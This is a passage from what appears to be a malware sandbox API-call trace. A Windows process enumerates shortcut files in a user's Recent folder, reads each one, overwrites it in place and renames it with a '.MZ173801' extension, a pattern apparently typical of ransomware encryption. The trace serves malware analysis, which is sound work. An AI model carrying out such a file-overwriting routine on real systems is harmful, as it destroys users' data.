dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xa42 [0120.927] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.927] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xa42, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xa42, lpOverlapped=0x0) returned 1 [0120.928] CloseHandle (hObject=0x288) returned 1 [0120.928] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BhvyHsMPz8V2JXr.ots.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\bhvyhsmpz8v2jxr.ots.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.929] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xa42, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xa42, lpOverlapped=0x0) returned 1 [0120.931] CloseHandle (hObject=0x288) returned 1 [0120.933] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BhvyHsMPz8V2JXr.ots.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\bhvyhsmpz8v2jxr.ots.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BhvyHsMPz8V2JXr.ots.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\bhvyhsmpz8v2jxr.ots.lnk.mz173801")) returned 1 [0120.934] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfa942e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfa942e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfa942e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x406, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="BjOU5EtsAQWNRx.flv.lnk", cAlternateFileName="BJOU5E~1.LNK")) returned 1 [0120.934] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0120.935] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0120.935] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BjOU5EtsAQWNRx.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\bjou5etsaqwnrx.flv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfa942e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfa942e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfa942e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x406)) returned 1 [0120.937] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0120.937] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0120.939] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BjOU5EtsAQWNRx.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\bjou5etsaqwnrx.flv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.939] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0120.939] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.939] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x406 [0120.939] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.939] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x406, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x406, lpOverlapped=0x0) returned 1 [0120.940] CloseHandle (hObject=0x288) returned 1 [0120.941] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BjOU5EtsAQWNRx.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\bjou5etsaqwnrx.flv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.942] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x406, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x406, lpOverlapped=0x0) returned 1 [0120.943] CloseHandle (hObject=0x288) returned 1 [0120.944] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BjOU5EtsAQWNRx.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\bjou5etsaqwnrx.flv.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BjOU5EtsAQWNRx.flv.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\bjou5etsaqwnrx.flv.lnk.mz173801")) returned 1 [0120.946] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfca9620, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfca9620, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfca9620, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xf38, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="c4 27Qhg4nHWZH.lnk", cAlternateFileName="C427QH~1.LNK")) returned 1 [0120.946] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0120.946] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0120.946] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\c4 27Qhg4nHWZH.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\c4 27qhg4nhwzh.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfca9620, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfca9620, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfca9620, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xf38)) returned 1 [0120.947] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0120.948] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0120.949] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\c4 27Qhg4nHWZH.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\c4 